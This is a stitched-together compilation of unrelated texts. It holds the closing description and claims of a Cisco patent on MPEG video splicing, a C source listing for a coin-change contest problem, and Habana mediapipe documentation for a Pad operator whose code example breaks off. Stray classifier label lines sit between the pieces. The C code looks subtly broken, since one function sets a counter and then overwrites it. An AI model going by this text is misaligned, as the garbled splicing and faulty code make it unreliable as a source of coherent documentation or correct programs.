Referring now to FIG. 11, a preferred embodiment of the time stamp adjuster 612 is shown. The purpose, of the time stamp adjuster 612 is to perform time stamp correction. In other words, the time stamp adjuster 612 adjusts the time stamps (PCR, PTS, and DTS) from the incoming bitstreams so as to provide a continuous time base in the output-spliced stream. Referring also to the graphs of FIG. 15, the time bases (PCR) of the first input bitstream (PCR1), the second input bit stream (PCR 2) and the spliced stream (PCR Out) are shown. Each line represents the value of a counter incremented along time. Here, the slope represents the clock frequency (about 27 MHz for PCR), and the vertical position represents the phase of the clock. The slight difference in the slope of the first input bitstream (PCR1) and the second input bit stream (PCR 2) represents the drifting in clock frequency. If no time stamp correction is provided, the time base will have a abrupt change at the splice point, as signified by the dashed line 1500. With time stamp correction, the output time base is continuous. To achieve this, the present invention adds an offset to the input stream time base. In the example shown, before the splice point, an offset, A1, is added to the input PCR1 to form the PCR Out. After the splice point, another offset, A2, is added to the input PCR 2 to form the output PCR Out. A1 and A2 are set such that the time base is continuous at the splice point.
FIG. 11 shows the block diagram for the preferred embodiment of the time stamp adjuster 612. The time stamp adjuster 612 comprises a first and second phase lock loops 1102, 1104, each with outputs a local clock that is phase locked to the incoming PCR signals. Therefore, the local clock (LC1) of the first phase lock loop (PLL) 1102 will track PCR1 and the local clock (LC2) of the second PLL 1104 will track to PCR2. The first and second phase lock loops 1102 are coupled to respective nodes of switch sw10 that alternatively provides either LC1 or LC2 to a first input of adder 1108. The first and second phase lock loops 1102 are also coupled to respective inputs of an offset calculator 1106. The offset calculator 1106 generates the offset, D, which is used in turn to generate the PCR Out by adding the offset to the incoming value from the switch sw10. The output of the offset calculator 1106 is coupled to a second input of the adder 1108. The output of the adder 1108 provides the PCR Out signal. The second switch sw12 has two nodes respectively coupled to receive the PTS/DTS signal from the first and second bitstreams. The other node of the second switch sw12 is coupled to the first input of the second adder 1110. The second input of the second adder 1110 is coupled to receive the offset from the offset calculator 1106. The second adder provides the adjusted PTS/DTS signal. The offset calculator 1106 provides the offset, D, so that the output PCR and PTS/DTS signals are formed by adding the offset to the incoming value from the switches, sw10, and sw12. At the time of splice, the offset calculator 1106 calculates the new offset value, D′ according to the equation D′=D+C1-C2. After the splice, D′ will be the new offset value used to adjust the PCR, PTS/DTS signals. The first and second switches sw10, sw12 select the PCR or PTS/DTS depending on which channel is being output. Since it takes some time for the first and second phase lock loops 1102, 1104 to track the input PCR, the phase lock loops 1102, 1104 need to start some time prior to the splice time. Conveniently, it can be started with the assertion of the countdown signal.
Referring now to FIGS. 12A-12D, the advantages of the present invention can be more clearly seen. FIGS. 12A-12D illustrate simplified diagrams of the splicing system 600 of the present invention showing the buffer fullness for the first and second pre-buffers 602, 604 and the post buffer 608 through the process of splicing two streams together. During the normal mode when no splicing is being performed, the seamless splicer 606 is performing rate conversion. In other words, only requantization is being performed so that as quickly as the spliced bitstream can be output is the rate at which the seamless splicer 606 processes the first and second bitstreams. This has the effect of maintaining the first and second pre-buffers 602, 604 at low or empty level while maintaining the post-buffer 608 a high or full level as shown in FIG. 12A. Once splicing begins, the seamless splicer 606 must perform re-encoding which is computationally more intensive and therefore requires more time for the seamless splicer 606 to process the same streams. Since the throughput of the seamless splicer 606 has decreased due to splicing, the fullness of the first and second pre-buffers 602, 604 increases to a medium level while the fullness of the post-buffer 608 decreases to a medium level as shown in FIG. 12B. Just before splicing (and thus re-encoding) ends, the fullness of the first and second pre-buffers 602, 604 increases to a high level while the fullness of the post-buffer 608 decreases to a minimum level as shown in FIG. 12C. However, now that the re-encoding is about to end, the seamless splicer 606 returns to the normal mode and is performing rate conversion which is computationally less intense so that the seamless splicer 606 will be able to reduce the fullness of the first and second pre-buffers 602 and increase the fullness of the post buffer 608 as shown in FIG. 12D. Eventually, the seamless splicer 606 will reduce the fullness of the first and second pre-buffers 602 and increase the fullness of the post buffer 608 back to the state shown in FIG. 12A. Therefore, the present invention is able to provide delayed, but effectively real time re-encoding without the complicated hardware required by such real-time decoder and encoders. When buffering is used, the seamless splicer 606 has many seconds to complete the above operation of reconstructing a coded B picture. If no buffering is used, the above operation must be completed in one frame time. The use of buffering significantly reduces the computation speed requirement of the seamless splicer 606. The buffer size determines the relative computation speed requirement. The higher the buffer size, the less the demand on the computation speed. From the above technique, we can see that in general, splicing of bitstreams does not require real-time re-encoding equipment, but such can be eliminated with properly sized buffers.
Referring now to FIG. 13, a flow chart of a first embodiment of the method for splicing two bitstreams into a single bitstream according to the present invention is shown. The process begins in step 1300 by rate converting and outputting frames from the first bitstream. During this step, the present invention performs rate conversion to ensure that there is decoder buffer compliance. This can be done variably if the first stream has a variable bit rate. Next in step 1302, a splice exit point is determined. This is preferably done by giving a presentation time stamp after which to switch from outputting the first bitstream to a second bitstream. Next in step 1304, the method tests whether the exit point has been reached by comparing the PTS of the frame currently being output to the exit point. If the exit point has not been reached, the method returns to step 1300 to continue converting and outputting frames from the first bitstream. On the other hand, if the exit point has been reached, the method proceeds to step 1310. In step 1310, the method continues by recoding frames around the splice point to provide and use the appropriate anchor frames. If necessary, the anchor frames of the second stream are re-encoded to I-frames along with any B-frames that reference frames before the exit point. Next in step 1312, the method rate converts and outputs additional frames of the second bitstream. If rate conversion is necessary then requantization with rate conversion is performed; otherwise just requantization is performed to generate the additional frames of the second stream. During this step, the present invention again performs rate conversion to ensure that there is decoder buffer compliance. After step 1312, the method is complete.
Referring now to FIG. 14, a second embodiment of the method for switching from a first bitstream to a second bitstream according to the present invention is shown. The second embodiment of the method for splicing two bitstreams begins with step 1400 where the first bitstream is output. This is preferably done such as by setting the first switch sw1 to provide the first bitstream and the second switch sw2 to provide the output of the recoding unit 704. Next in step 1402, a cue tone is detected to signal that the splice point coming. Next in step 1404, the method starts a countdown a predetermined time after the cue tone signal is started. The countdown ensures that the reference memories 712, 722 have enough data for re-encoding. Then in step 1406, the method tests whether the first anchor in the first stream beyond the splice point has been detected. Comparing the presentation time stamp of each anchor frame to a presentation time stamp value for the splicing point preferably does this. If the first anchor beyond the splice point has not been detected, the method loops through step 1406 until the splice point has been exceeded. On the other hand, the first anchor beyond the splice point has been detected the method continues in 1408. In step 1408, the method replaces the first anchor of the first stream beyond the splice point with an anchor from the second stream. Then in step 1410, the method re-encodes and outputs the remaining B-pictures before the splice point. Next in step 1412, the method re-encodes and outputs the remaining B-pictures of the second stream after the splice point but before the next anchor of the second stream. Then in step 1414, the method outputs the next anchor of the second stream and switches to only re-coding the second stream after which the method is complete and ends.
While the present invention has been described with reference to certain preferred embodiments, those skilled in the art will recognize that various modifications may be provided. For example, the preferred embodiment of the present invention is directed to ensuring buffer compliance and eliminating rate mismatching, to ensuring anchor frame regeneration, and time base correctness. One alternate embodiment of the present invention could eliminate the recoding unit 704 where the first and second bitstreams are perfectly matched in bit rate. Yet another embodiment of the present invention could eliminate the reference memories, switches and transformers used for anchor frame regeneration if is guaranteed that an anchor frame is placed in the first stream just before the splicing point and the second stream starts with an anchor frame. These and other variations upon and modifications to the preferred embodiments are provided for by the present invention that is limited only by the following claims.
Claims
1. A system for splicing a first bit stream and a second bit stream to produce and output bit stream, the system comprising:
a first buffer having an input and an output, the input of the first buffer coupled to receive the first bit stream;
a second buffer having an input and an output, the input of the second buffer coupled to receive the second bit stream;
a splicer having a first input, a second input and an output, the first input of the splicer coupled to the output of the first buffer, the second input of the splicer coupled to the output of the second buffer, the splicer switching between outputting the first bit stream and the second bit stream;
a recoding unit that reduces the bit rate of video data output by the splicer according to the available bandwidth of a channel;
a time stamp adjuster coupled to the first and second buffers, the time stamp adjuster operable to generate a continuous time base of the video data output by the splicer, wherein the time stamp adjuster comprises a first phase locked loop coupled to the output of the first buffer, the first phase locked loop operable to generate a first local clock; and
an output buffer having an input and an output, the input of the output buffer coupled to the output of the splicer, the output of the output buffer providing an output spliced stream.
2. The system of claim 1, wherein the time stamp adjuster further comprises a second phase lock loop coupled to the output of the second buffer, the second phase locked loop operable to generate a second local clock.
3. The system of claim 2, wherein the system further comprises a time stamp extractor for generating reference clock signals and presentation clock signals from the first and second bitstreams, the time stamp extractor having inputs and outputs, the inputs of the time stamp extractor coupled to the outputs of the first and second buffers, and the outputs of the time stamp extractor coupled to inputs of the time stamp adjuster.
4. The system of claim 2, wherein the system further comprises a time stamp replacer for combining a reference clock signal and presentation clock signal from the time stamp adjuster to data from the splicer, the time stamp replacer having inputs and outputs, the inputs of the time stamp replacer coupled to outputs of the time stamp adjuster, an input of the time stamp replacer coupled to the output of the splicer, and the output of the time stamp replacer providing an MPEG compliant bitstream.
5. The system of claim 2, wherein the time stamp adjuster further comprises:
an offset calculator having a first input, a second input, and an output, the offset calculator generating a signal indicating the difference between the signal at the first input of the offset calculator and the signal at the second input of the offset calculator, the first input of the offset calculator coupled to receive the first local clock and the second input of the offset calculator coupled to receive the second local clock; and
a first adder having a first input, a second input and an output, the first input of the adder selectively coupled to the output of the first phase lock loop or the output of the second phase lock loop, the second input of the first adder coupled to the output of the offset calculator.
6. The system of claim 5, wherein the time stamp adjuster further comprises a second adder having a first input, a second input and an output, the first input of the second adder selectively coupled to receive a presentation clock signal for the first bit stream or a presentation clock signal for the second bit stream, the second input of the second adder coupled to the output of the offset calculator, the output of the second adder providing a presentation clock signal for the spliced bit stream.
7. The system of claim 1, wherein the recoding unit for adjusting the bit rate output by the splicer includes a variable length encoder coupled to a rate converter, and the rate converter coupled to a variable length decoder for performing variable length encoding and decoding.
8. The system of claim 1, wherein the recoding unit for adjusting the bit rate output by the splicer includes a variable length encoder coupled to a dequantization unit, the dequantization unit coupled to a rate converter, the rate converter coupled to a quantization unit, and the quantization unit coupled to a variable length decoder for performing variable length coding and quantization.
9. The system of claim 1, wherein the recoding unit for adjusting the bit rate output by the splicer includes a variable length encoder coupled to a dequantization unit, the dequantization unit coupled an inverse transformer, the inverse transformer coupled to a rate converter, the rate converter coupled to a DCT transformer, the DCT transformer coupled to a quantization unit, and the quantization unit coupled to a variable length decoder for performing variable length coding, quantization and DCT tranformation.
10. The system of claim 1, wherein the recoding unit for adjusting the bit rate output by the splicer includes a variable length encoder coupled to a dequantization unit, the dequantization unit coupled an inverse transformer, the inverse transformer coupled to a motion compensator, the motion compensator coupled to a motion estimator, the motion estimator coupled to a DCT transformer, the DCT transformer coupled to a quantization unit, and the quantization unit coupled to a variable length decoder for performing variable length coding, quantization, DCT tranformation and motion estimation.
11. A system for generating an output spliced stream, the system comprising:
a splicer operable to receive a first stream and a second bit stream, the splicer operable to re-encode portions of the first bit stream before a splice point, the splicer comprising:
a first decoder for decoding the first bit stream, the first decoder having an input and an output;
a second decoder for decoding the second bit stream, the second decoder having an input and an output;
an encoder having an input and an output for encoding a spliced bit stream; and
a first anchor frame re-generation unit having an input and an output, the input of the first anchor frame re-generation unit selectively connectable to the output of the first decoder, and the output of the first anchor frame re-generation unit selectively connectable to the input of the encoder;
an output buffer having an input and an output, the input of the output buffer coupled to the output of the splicer, the output of the output buffer providing an output splice stream means for selectively coupling the output of the first decoder, the output of the second decoder, or neither to the input of encoder.
12. The system of claim 11, wherein the splicer re-encodes portions of the second bit stream after the splice point.
13. The system of claim 11, wherein the splicer re-encodes portions of the first bit stream before the splice point and re-encodes portions of the second bit stream after the splice point.
14. The system of claim 12, wherein the means for selectively coupling includes a recoding unit and a plurality of switches.
15. The system of claim 14, wherein the recoding unit performs one from the group of recoding, requantization, re-transformation and re-encoding.
16. The system of claim 12, further comprising a second anchor frame re-generation unit having an input and an output, the input of the second anchor frame re-generation unit selectively connectable to the output of the second decoder, and the output of the second anchor frame re-generation unit selectively connectable to the input of the encoder.
17. The system of claim 12, wherein the first anchor frame re-generation unit comprises:
a first inverse transformer having an input and an output, for generating a raw video image from a decoded bitstream, the input of the first inverse transformer selectively connectable to the output of the first decoder;
a reference memory for storing raw video data, the reference memory having an input and an output, the input of the reference memory coupled to the output of the first inverse transformer; and
a first transformer having an input and an output, for generating a coded bitstream from a raw video image, the input of the first transformer coupled to the output of the reference memory, the output of the first transformer selectively connectable to the input of the encoder.
18. The system of claim 17, wherein the first inverse transformer includes a dequantizing unit, a inverse transformation unit and a motion compensation unit.
19. The system of claim 17, wherein the first transformer includes a quantizing unit, a transformation unit and a motion estimation unit.
20. The system of claim 12, further comprising:
a plurality of switches; and
a splicer controller for controlling the plurality of switches, the coupling of the first anchor frame re-generation unit and the means for selectively coupling, the splicer controller having a plurality of inputs and a plurality of outputs, the inputs coupled to the outputs of the first buffer and the second buffer, and the outputs coupled to the switches.
21. A method for frame accurate splicing between a first bit stream and a second bit stream, the method comprising the steps of:
outputting frames from the first bit stream;
determining a splice point;
determining the first anchor picture in the first bit stream having a display time after the splice point;
reducing the bit rate of video data in one of the first bit stream and the second bit stream according to the available bandwidth of a channel;
re-encoding pictures of the first bit stream having a display time subsequent to the determined first anchor picture of the first bit stream and before the splice point so that the re-encoded pictures of the first bit stream do not reference a forward reference frame;
replacing the determined first anchor picture of the first bit stream with an anchor picture from the second bit stream having a display time after the splice point; and
outputting frames from the second bit stream.
22. The method for frame accurate splicing of claim 21 wherein adjusting the bit rate of video data in one of the first bit stream and the second bit stream occurs during the steps of outputting such that there is decoder buffer compliance.
23. The method for frame accurate splicing of claim 21 further comprising the step of:
re-encoding pictures of the second bitstream having a display time after the splice point and before the first anchor picture of the second bitstream so that the re-encoded pictures of the second bitstream do not reference a backward reference frame.
24. The method for frame accurate splicing of claim 21 wherein the step of replacing the determined first anchor picture replaces the determined first anchor picture with a re-encoded anchor picture based on a first anchor picture of the second bit stream having a display time after the splice point.
25. The method for frame accurate splicing of claim 24, wherein the re-encoded anchor picture is regenerated as an I picture.
26. The method for frame accurate splicing of claim 24, wherein the re-encoded anchor picture is regenerated as a P picture with all intra macroblock.
27. A system for splicing a first bit stream and a second bit stream to produce and output bit stream, the system comprising:
a first buffer having an input and an output, the input of the first buffer coupled to receive the first bit stream;
second buffer having an input and an output, the input of the second buffer coupled to receive the second bit stream;
a splicer having a first input, a second input and an output, the first input of the splicer coupled to the output of the first buffer, the second input of the splicer coupled to the output of the second buffer, the splicer switching between outputting the first bit stream and the second bit stream;
a first phase lock loop for generating a first local clock, the first phase lock loop having an input and an output, the input of the first phase lock loop coupled to the output of the first buffer;
a recoding unit that reduces the bit rate of video data output by the splicer based on the available bandwidth in the channel left open by the first bitstream; and
an output buffer having an input and an output, the input of the output buffer coupled to the output of the splicer, the output of the output buffer providing an output spliced stream.
28. The system of claim 27 wherein the recoding unit adjusts the bit rate of video data so that the resulting bit rate profile fits the available bandwidth of the channel.
29. A system for splicing a first bit stream and a second bit stream to produce and output bit stream, the system comprising:
a first buffer for storing video data from the first bit stream received from a network transmission and having a first bit rate;
a second buffer for storing video data from the second bit stream received from a network transmission and having a second bit rate;
a splicer that receives video data stored in the first buffer and video data stored in the second buffer and switches between outputting the first bit stream and the second bit stream;
a first phase lock loop for generating a first local clock, the first phase lock loop having an input and an output, the input of the first phase lock loop coupled to the output of the first buffer;
a recoding unit configured to rate convert video data from the first bit stream and the second bit stream;
an output buffer for storing an output spliced stream including video data from the first bit stream and video data from the second bit stream;
wherein the system splices and rate converts the first bit stream and the second bit stream in real time.
30. The system of claim 29 wherein the first buffer and the second buffer are sized according to the processing speed of the splicer.
31. The system of claim 29 wherein the first bit stream has a greater bit rate than the second bit stream.
32. The system of claim 29 further comprising a first variable length decoder that outputs DCT coefficients and motion vectors from the first bit stream and a second variable length decoder that outputs DCT coefficients and motion vectors from the second bit stream.
33. The system of claim 29 further comprising an anchor frame re-generation unit that includes an inverse transformer, a reference memory and a transformer.
34. The system of claim 33 further comprising a second anchor frame re-generation unit that includes a second inverse transformer, a second reference memory and a second transformer.
35. The system of claim 29 further comprising a time stamp adjuster for generating a continuous time base in the output spliced stream, the time stamp adjuster having inputs and outputs, the time stamp adjuster having its inputs coupled to the outputs of the first and second buffers.
36. The system of claim 29 further comprising a second phase lock loop for generating a second local clock, the second phase lock loop having an input and an output, the input of the second phase lock loop coupled to the output of the second buffer.
37. The system of claim 36 further comprising an offset calculator having a first input, a second input, and an output, the offset calculator generating a signal indicating the difference between the signal at the first input of the offset calculator and the signal at the second input of the offset calculator, the first input of the offset calculator coupled to receive the first local clock and the second input of the offset calculator coupled to receive the second local clock.
38. A method for frame accurate splicing between a first bit stream and a second bit stream, the method comprising the steps of:
rate converting video data from the first bit stream;
determining a splice point;
removing temporal dependence on video data in the first bit stream after the splice point from video data in the first bit stream before the splice point, wherein removing temporal dependence on video data in the first bit stream comprises re-encoding pictures of the first bit stream having a display time subsequent to the determined first anchor picture of the first bit stream and before the splice point so that the re-encoded pictures of the first bit stream do not reference a forward reference frame; and
removing temporal dependence on video data in the second bit stream before the splice point from video data in the second bit stream after the splice point.
39. The method of claim 38 wherein the system splices the first bit stream and the second bit stream in real time.
40. The method of claim 38 wherein one of the first bit stream and the second bit stream is a variable bit rate bit stream.
41. The method of claim 38 wherein rate conversion of the video data from the first bit stream or rate conversion of the video data from the first bit stream overcomes rate mismatch problems in the downstream decoder buffer.
42. The method of claim 38 wherein the first bit stream is part of a statistically remultiplexed bitstream.
43. The method of claim 42 wherein the second bit stream is rate converted to fit the available bandwidth left open by the first bit stream.
44. The method of claim 43 wherein the first bit stream is rate converted to the level needed for the second bit stream.
45. The method of claim 38 further comprising determining whether the second bit stream has the same bit rate as the available transmission bandwidth.
46. An apparatus for combining a plurality of bit streams, the apparatus comprising:
means for outputting frames from the first bit stream;
means for determining a splice point;
means for determining the first anchor picture in the first bit stream having a display time after the splice point;
means for reducing the bit rate of video data in one of the first bit stream and the second bit stream according to the available bandwidth of a channel;
means for re-encoding pictures of the first bit stream having a display time subsequent to the determined first anchor picture of the first bit stream and before the splice point so that the re-encoded pictures of the first bit stream do not reference a forward reference frame;
means for replacing the determined first anchor picture of the first bit stream with an anchor picture from the second bit stream having a display time after the splice point; and means for outputting frames from the second bit stream.
Referenced Cited
U.S. Patent Documents
5185819 February 9, 1993 Ng et al.
5805220 September 8, 1998 Keesman et al.
5907374 May 25, 1999 Liu
5912709 June 15, 1999 Takahashi
5982436 November 9, 1999 Balakrishnan et al.
6038000 March 14, 2000 Hurst, Jr.
6101195 August 8, 2000 Lyons et al.
6269081 July 31, 2001 Chow et al.
Foreign Patent Documents
0739138 October 1996 EP
Other references
• “MPEG Splicing and Bandwidth Management,” Birch, International Broadcasting Convention, Sep. 12-16, 1997, pp. 541-546.
Patent History
Patent number: 6611624
Type: Grant
Filed: Oct 15, 1998
Date of Patent: Aug 26, 2003
Assignee: Cisco Systems, Inc. (San Jose, CA)
Inventors: Ji Zhang (San Jose, CA), Yi Tong Tse (San Jose, CA)
Primary Examiner: Wenpeng Chen
Attorney, Agent or Law Firm: Beyer Weaver & Thomas LLP
Application Number: 09/173,708
Classifications
|
__label__pos
| 0.754327 |
Computer Programming Contest Preparation
ToolBox - Source for: 6/674/c.c
/home/toolbox/public_html/solutions/6/674/c.c
1 #include <stdio.h>
2 #include <string.h>
3 #include <sys/types.h>
4 #include <sys/stat.h>
5 #include <fcntl.h>
6 #include <stdint.h>
7 #include <math.h>
8 #include <stdlib.h>
9
10 #define TRUE (1 == 1)
11 #define FALSE (1 != 1)
12
13 #define DEBUG if (FALSE)
14
15
16 /*
17 * Author: Isaac Traxler
18 * Date: 2015-03-11
19 * Purpose:
20 * Problem: 674
21 */
22
23 /*
24 * This template reads lines of data at a time until end of file.
25 */
26
27 #define C50 50
28 #define C25 25
29 #define C10 10
30 #define C5 5
31 #define I50 4
32 #define I25 3
33 #define I10 2
34 #define I5 1
35 #define I1 0
36
37 int chg;
38 int strt[5];
39
40 void init()
41 {
42 /* FUNCTION init */
43 /*
44 50 25 10 5 1
45 1(1) 0 0 0 0 0
46
47 50 25 10 5 1
48 5(2) 0 0 0 1 0
49 0 0 0 0 5
50
51 50 25 10 5 1
52 10(4) 0 0 1 0 0
53 0 0 0 2 0
54 0 0 0 1 5
55 0 0 0 0 10
56
57 50 25 10 5 1
58 25(13) 0 1 0 0 0
59 0 0 2 1 0
60 0 0 2 0 5
61 0 0 1 3 0
62 0 0 1 2 5
63 0 0 1 1 10
64 0 0 1 0 15
65 0 0 0 5 0
66 0 0 0 4 5
67 0 0 0 3 10
68 0 0 0 2 15
69 0 0 0 1 20
70 0 0 0 0 25
71
72 50 25 10 5 1
73 50(50) 1 0 0 0 0
74 0 2 0 0 0
75 0 1 2 1 0
76 0 1 2 0 5
77 0 1 1 3 0
78 0 1 1 2 5
79 0 1 1 1 10
80 0 1 1 0 15
81 0 1 0 5 0
82 0 1 0 4 5
83 0 1 0 3 10
84 0 1 0 2 15
85 0 1 0 1 20
86 0 1 0 0 25
87 0 0 5 0 0
88 0 0 4 2 0
89 0 0 4 1 5
90 0 0 4 0 10
91 0 0 3 4 0
92 0 0 3 3 5
93 0 0 3 2 10
94 0 0 3 1 15
95 0 0 3 0 20
96 0 0 2 6 0
97 0 0 2 5 5
98 0 0 2 4 10
99 0 0 2 3 15
100 0 0 2 2 20
101 0 0 2 1 25
102 0 0 2 0 30
103 0 0 1 8 0
104 0 0 1 7 5
105 0 0 1 6 10
106 0 0 1 5 15
107 0 0 1 4 20
108 0 0 1 3 25
109 0 0 1 2 30
110 0 0 1 1 35
111 0 0 1 0 40
112 0 0 0 10 0
113 0 0 0 9 5
114 0 0 0 8 10
115 0 0 0 7 15
116 0 0 0 6 20
117 0 0 0 5 25
118 0 0 0 4 30
119 0 0 0 3 35
120 0 0 0 2 40
121 0 0 0 1 45
122 0 0 0 0 50
123
124 */
125 } /* FUNCTION init */
126
127 void dump(int t[5])
128 {
129 /* FUNCTION dump */
130 printf("%d %d %d %d %d\n", t[4], t[3], t[2], t[1], t[0]);
131 } /* FUNCTION dump */
132
133 int getInput()
134 {
135 /* FUNCTION getInput */
136 int dataReadFlag;
137
138 dataReadFlag = 1 == scanf(" %d ", &chg);
139 return (dataReadFlag);
140 } /* FUNCTION getInput */
141
142 int doit5(int coins[5])
143 {
144 /* FUNCTION doit5 */
145 int i;
146 int counter;
147
148 if (0 == strt[I5])
149 {
150 /* no nickels */
151 /* if a penny is present -- this counts */
152 if (0 < strt[I1])
153 {
154 counter = 1;
155 }
156 else
157 {
158 counter = 0;
159 }
160 } /* no nickels */
161 else
162 {
163 counter = strt[I5] + 1;
164 }
165 return counter;
166 } /* FUNCTION doit5 */
167
168 int doit10(int coins[5])
169 {
170 /* FUNCTION doit10 */
171 int i;
172 int counter = 0;
173
174 if (0 < coins[I10])
175 {
176 counter = 2;
177 }
178 counter = doit5(coins);
179 for (i=coins[I10]-1; 0<=i; i--)
180 {
181 /* for each dime piece */
182 coins[I10] = i;
183 coins[I5] = coins[I5] + 2;
184 counter = counter + doit5(coins);
185 } /* for each dime piece */
186 return counter;
187 } /* FUNCTION doit10 */
188
189 int doit25(int coins[5])
190 {
191 /* FUNCTION doit25 */
192 int i;
193 int counter = 0;
194
195 counter = doit10(coins);
196 for (i=coins[I25]-1; 0<=i; i--)
197 {
198 /* for each quarter piece */
199 coins[I25] = i;
200 coins[I10] = coins[I10] + 2;
201 coins[I5] = coins[I5] + 1;
202 counter = counter + doit10(coins);
203 } /* for each quarter piece */
204 return counter;
205 } /* FUNCTION doit25 */
206
207 int doit50(int coins[5])
208 {
209 /* FUNCTION doit50 */
210 int i;
211 int counter = 0;
212
213 counter = doit25(coins);
214 for (i=coins[I50]-1; 0<=i; i--)
215 {
216 /* for each 50 cent piece */
217 coins[I50] = i;
218 coins[I25] = coins[I25] + 2;
219 counter = counter + doit25(coins);
220 } /* for each 50 cent piece */
221 return counter;
222 } /* FUNCTION doit50 */
223
224 int countCoins(int chg)
225 {
226 /* FUNCTION countCoins */
227 int tmp;
228 int t;
229
230 tmp = chg;
231 t = tmp / C50;
232 tmp = tmp - (t * C50);
233 strt[I50] = t;
234 t = tmp / C25;
235 tmp = tmp - (t * C25);
236 strt[I25] = t;
237 t = tmp / C10;
238 tmp = tmp - (t * C10);
239 strt[I10] = t;
240 t = tmp / C5;
241 tmp = tmp - (t * C5);
242 strt[I5] = t;
243 strt[I1] = tmp;
244
245 DEBUG printf("%d: ", chg);
246 DEBUG dump(strt);
247 tmp = doit50(strt);
248 return tmp;
249
250 } /* FUNCTION countCoins */
251
252 void process()
253 {
254 /* FUNCTION process */
255 int cnt;
256
257 printf("%d: ", chg);
258 if (0 == chg)
259 {
260 cnt = 1;
261 }
262 else
263 {
264 /* make a change */
265 cnt = countCoins(chg);
266 } /* make a change */
267 printf("%d\n", cnt);
268 } /* FUNCTION process */
269
270 int main()
271 {
272 /* main */
273 int moreToDo;
274
275 init();
276 moreToDo = getInput();
277 while (moreToDo)
278 {
279 /* while */
280 process();
281 moreToDo = getInput();
282 } /* while */
283
284 return EXIT_SUCCESS;
285 } /* main */
286
|
__label__pos
| 0.954253 |
How Do I Change My Git Repository?
What is git pull request?
Pull requests let you tell others about changes you’ve pushed to a branch in a repository on GitHub.
Once a pull request is opened, you can discuss and review the potential changes with collaborators and add follow-up commits before your changes are merged into the base branch..
How do I create a new Git repository from an existing one?
A new repo from an existing projectGo into the directory containing the project.Type git init .Type git add to add all of the relevant files.You’ll probably want to create a . gitignore file right away, to indicate all of the files you don’t want to track. Use git add . gitignore , too.Type git commit .
What is a repository and how do I create one?
Create a Repository A repository is usually used to organize a single project. Repositories can contain folders and files, images, videos, spreadsheets, and data sets – anything your project needs. We recommend including a README, or a file with information about your project.
How do I connect to a Git repository?
Create a new repository on GitHub. … Open TerminalTerminalGit Bash.Change the current working directory to your local project.Initialize the local directory as a Git repository. … Add the files in your new local repository. … Commit the files that you’ve staged in your local repository.More items…
How do I backup a git repository?
Keeping backups with remotes To do this you need three steps: Make an empty backup repository on the external backup disk; Point your current git repository at the backup repository with git remote add ; Send the changes to the backup repository with git push .
How do I export a Git repository?
There is no “git export” command, so instead you use the “git archive” command. By default, “git archive” produces its output in a tar format, so all you have to do is pipe that output into gzip or bzip2 or other.
How do I mirror a git repository?
You can git clone –mirror to get a clone of a remote repository with all the information, then take that and git push –mirror it to another location.
How does a git repository work?
Working with Gitgit init — initializes a repository.git checkout — checks out a branch from repository into the working directory.git add — adds a change in a file to a change set.git commit — commits a change set from the working directory into the repository.
What is the repository?
(Entry 1 of 2) 1 : a place, room, or container where something is deposited or stored : depository.
Can you move a git repository?
If you want to move your repository : Simply copy the whole repository (with its . git directory). There is no absolute path in the . git structure and nothing preventing it to be moved so you have nothing to do after the move.
How do I move from one git repo to another?
If you’re using Git, you’ll first need to clone the repo you want to copy locally. Then, create a new empty repository in the account you want to add the repo. Finally, add your remote and push the files from the local repo to the new Beanstalk account using the git push command.
|
__label__pos
| 0.999784 |
habana_frameworks.mediapipe.fn.Pad
Class:
• habana_frameworks.mediapipe.fn.Pad(**kwargs)
Define graph call:
• __call__(input)
Parameter:
• input - Input tensor to operator. Supported dimensions: minimum = 1, maximum = 5. Supported data types: INT8, UINT8, BFLOAT16, FLOAT32.
Description:
Pads a tensor with zeros or any numbers. Output tensor size is calculated using the following formula:
• For 4D tensors:
out_sizes[0] = input_sizes[0] + pads[0] + pads[4]
out_sizes[1] = input_sizes[1] + pads[1] + pads[5]
out_sizes[2] = input_sizes[2] + pads[2] + pads[6]
out_sizes[3] = input_sizes[3] + pads[3] + pads[7]
• For 5D tensors:
out_sizes[0] = input_sizes[0] + pads[0] + pads[5]
out_sizes[1] = input_sizes[1] + pads[1] + pads[6]
out_sizes[2] = input_sizes[2] + pads[2] + pads[7]
out_sizes[3] = input_sizes[3] + pads[3] + pads[8]
out_sizes[4] = input_sizes[4] + pads[4] + pads[9]
Supported backend:
• HPU
Keyword Arguments
kwargs
Description
mode
Specifies padding mode.
• Type: PadMode_t
• Default: 0
• Optional: yes
• Supported types:
• PAD_MODE_CONSTANT(0): Pads value with a given constant as specified by constant value.
• PAD_MODE_REFLECT(1) Pads with the mirror values of the array leaving edge values.
• PAD_MODE_EDGE(2): Pads with the edge values of array.
• PAD_MODE_SYMMETRIC(3): Pads with the mirror values of the array.
value
A constant to pad the input.
• Type: float
• Default: 0.0
• Optional: yes
pads[10]
The paddings indicate how many constant values to add before and after the input in all the dimensions given as pad_before[0]…pad_before[4], pad_after[0] … pad_after[4].
• Type: list[int]
• Default: 0
• Optional: yes
dtype
Output data type.
• Type: habana_frameworks.mediapipe.media_types.dtype
• Default: UINT8
• Optional: yes
• Supported data types:
• INT8
• UINT8
• FLOAT32
Note
1. Input/Output tensors datatype should match operation data type.
2. In PAD_MODE_SYMMETRIC, pad along a dim should not be greater than corresponding dim size.
3. In PAD_MODE_REFLECT, pad along a dim should not be greater or equal to corresponding dim size.
4. Negative pads are only supported in Constant mode.
5. “PAD_MODE_EDGE” mode is ONNX compliant.
Example: Pad Operator
The following code snippet shows usage of Pad operator:
from habana_frameworks.mediapipe import fn
from habana_frameworks.mediapipe.mediapipe import MediaPipe
from habana_frameworks.mediapipe.media_types import imgtype as it
from habana_frameworks.mediapipe.media_types import dtype as dt
import matplotlib.pyplot as plt
# Create media pipeline derived class
class myMediaPipe(MediaPipe):
def __init__(self, device, dir, queue_depth, batch_size, img_h, img_w):
super(
myMediaPipe,
self).__init__(
device,
queue_depth,
batch_size,
self.__class__.__name__)
self.input = fn.ReadImageDatasetFromDir(shuffle=False,
dir=dir,
format="jpg")
# WHCN
self.decode = fn.ImageDecoder(device="hpu",
output_format=it.RGB_P,
resize=[img_w, img_h])
self.pad = fn.Pad(pads=[60, 30, 0, 0, 60, 30, 0, 0],
mode=0,
value=0.0,
dtype=dt.UINT8)
# WHCN -> CWHN
self.transpose = fn.Transpose(permutation=[2, 0, 1, 3],
tensorDim=4,
dtype=dt.UINT8)
def definegraph(self):
images, labels = self.input()
images = self.decode(images)
images = self.pad(images)
images = self.transpose(images)
return images, labels
def display_images(images, batch_size, cols):
